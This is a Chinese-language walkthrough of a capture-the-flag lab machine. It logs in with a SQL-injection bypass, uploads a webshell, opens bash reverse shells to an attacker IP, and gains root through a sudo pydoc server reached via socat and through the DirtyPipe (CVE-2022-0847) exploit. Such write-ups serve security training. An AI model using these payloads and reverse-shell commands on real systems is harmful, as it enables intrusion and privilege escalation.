文章目录
信息收集
先扫描一下网段,拿下IP
nmap -sP 192.168.200.0/24
扫描主机端口服务等信息
nmap -sV -sC -p- 192.168.200.80
只开了80端口,那么肯定只能从web层面突破了
看看是什么东西,发现是OTOMS,看看能不能一把梭,尝试了一下,啥也搜不到
首页处有一个登录,指向doc.hmv,那我们改一下host,添加这么一条
现在打开是这样了,并且有一个登录的地方
登录处如下
暂时没有更多的信息了,那么就扫一下目录
gobuster dir -w directory-list-2.3-medium.txt -u http://192.168.200.80 -x txt,html,zip
这里有很多目录,我接着扫了这里面的目录,没有一个好的结果,我就不写步骤了,和上面的操作一样,这个时候我陷入了僵局,一把梭无果,也没有更多的信息可以收集
漏洞利用
既然有登录框,那会不会存在SQL注入呢,万能密码试一下
1' or 1=1 -- -
居然真的进来了
在这个地方找到了两个文件上传点
那么尝试上传一个马看看,甚至没有过滤,直接上传成功了,路径右键打开就可以看到。
反弹一下shell
bash -c 'exec bash -i &>/dev/tcp/192.168.200.179/3333<&1'
经过长时间的信息收集,在网站根目录下有一个数据库配置文件,initialize.php,这里面有数据库连接账号和密码
刚好,home目录下就有这个用户,那么合理猜测,可能密码会重复
登录成功,拿到第一个flag
权限提升
方法一:sudo提权
还是按照常规操作看看sudo,发现了一个可以利用的命令,不需要密码,叫doc
看看里面有什么
strings /usr/bin/doc
发现他调用了pydoc3.9
先去看看这个东西到底是干啥的,附上官方文档链接
htt*ps://docs.pyt*hon.org/3/lib*rary/pyd*oc.html #去掉*
这里说我们可以在web上浏览我们的文件,那么如果我们用sudo执行这个doc,再到这个目录下面放一个反弹shell的文件,我们在网页上get它,我们就应该能得到一个反弹到的shell,并且是sudo执行的,也就能拿到root权限了
先启动一下
doc
在有了这个思路之后,第一步就遇到了问题,这里服务是在localhost,也就是说我们无法从外面去访问它,这个时候需要用到代理了
这里需要使用到一款转发工具 socat,刚好这里有
socat tcp-listen:5000,fork tcp:127.0.0.1:7890
现在我们通过5000端口就能打开这个网页了
那么既然解决了这个问题,我们就可以写一个python的脚本,然后反弹shell,脚本内容如下
import os
os.system("bash -c 'exec bash -i &>/dev/tcp/192.168.200.179/5555 <&1'")
那么总的流程是
第一个靶机的会话用sudo 开启doc
sudo doc
b
第二个靶机会话开启转发
socat tcp-listen:5000,fork tcp:127.0.0.1:7890
此时我们再看一下这个页面,我们写的文件就在这里了,注意这里记得选一个可写的目录启动doc
此时在右上角的get框内输入2,然后点击get,反弹shell成功,拿到root权限
方法二:信息收集一把梭
接下来介绍另一种方法
上信息收集脚本
python3 -m http.server
wget http://192.168.200.179:8000/linpeas.sh & wget http://192.168.200.179:8000/pspy64
chmod +x linpeas.sh pspy64
./linpeas.sh
一堆CVE,这里可以一把梭,再看看其他的
这里还有Rsync,暂时不知道能不能利用
那么这里随便找个漏洞一把梭试一下,这里选择CVE-2022-0847,因为直觉让我感觉他成功概率比较大
python3 -m http.server
mkdir dirtypipez
cd dirtypipez
wget http://192.168.200.179:8000/dirtypipez.c
gcc dirtypipez.c -o exp
在执行gcc的时候报错了
应该环境变量的问题,给ccl添加一个环境变量,先查找ccl的路径
find /usr/ -name "*cc1*"
export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/10/cc1
或者用这条也能成功,这里懂哥可以说一下为什么
export PATH=$PATH:/usr/libexec/gcc/x86_64-redhat-linux/4.8.2/
然后找个提权需要一个拥有suid权限的命令,随便找一个
find / -user root -perm -4000 -print 2>/dev/null
比如这里用chfn
./exp /usr/bin/chfn
提权成功,其他的漏洞我就不做演示了,感兴趣的可以去尝试一下
总结
总结:这一套还是和常规的靶机有很多不一样的地方的,第一步要通过发现登录的跳转URL来修改HOST,发现登录框后我的第一反应是去信息收集找到用户名和密码,一层层的扫描目录浪费了很多时间,最终没发现什么有用的信息。
这个时候我尝试了弱口令,寻找框架漏洞,但是都没成功,直到想起来尝试SQL注入,最终用万能密码登录成功,进入后台就是文件上传了,拿到webshell之后通过数据库配置文件,结合/home目录下的用户名,猜测可能数据库账号密码与该用户的一致,拿到第一个flag。
第二个flag如果不用一把梭,过程还是相当曲折的,首先是通过sudo -l 发现了一个任意用户都能够执行的命令,然后根据这个命令的用法,在网页上执行我们反弹shell的python脚本,但是这个时候又遇到了阻碍,因为 sudo doc 这个命令启动的web服务是localhost,所以我们不能直接通过公网去访问这个页面,这里就需要用到端口转发工具socat ,把7890端口的数据全部转移到公网能够连接的5000端口(任意端口都可以),此时我们再通过访问这个网站的5000端口就能够执行我们反弹shell的python脚本了,这里还有个小细节,就是我们启动doc服务的时候必须要选择一个我们拥有可读写权限的目录,这样才能把脚本放进去,然后执行。至于一把梭,根据exp的使用说明一步步操作即可,总的来说这还是一套很不错的靶机的。
小心思:球球各位给个三连吧!😉 会点赞关注收藏的大帅哥大漂亮们也许已经够帅气和美丽了,但是根据科学研究调查发现,给博主三连能让各位颜值更上一层楼,祝各位祝财源广进,进德修业,业精于勤,勤而补拙,卓尔不群,群英荟萃,摧枯拉朽,朽木生花,花辰月夕,夕寐宵兴,兴旺发达,达士通人,人定胜天!
你们的支持就是继续创作的最好动力~博主会继续坚持更新,保证让最简单普通的语言把每个知识点讲清楚,大家一起进步!
另外现在这个系列是新开的精品系列,精品系列我只会选取我觉得对我来说有特殊意义,能学到比较多的东西的靶机,绝对是精挑细选的!😃
版权归原作者 AlongLx 所有, 如有侵权,请联系我们删除。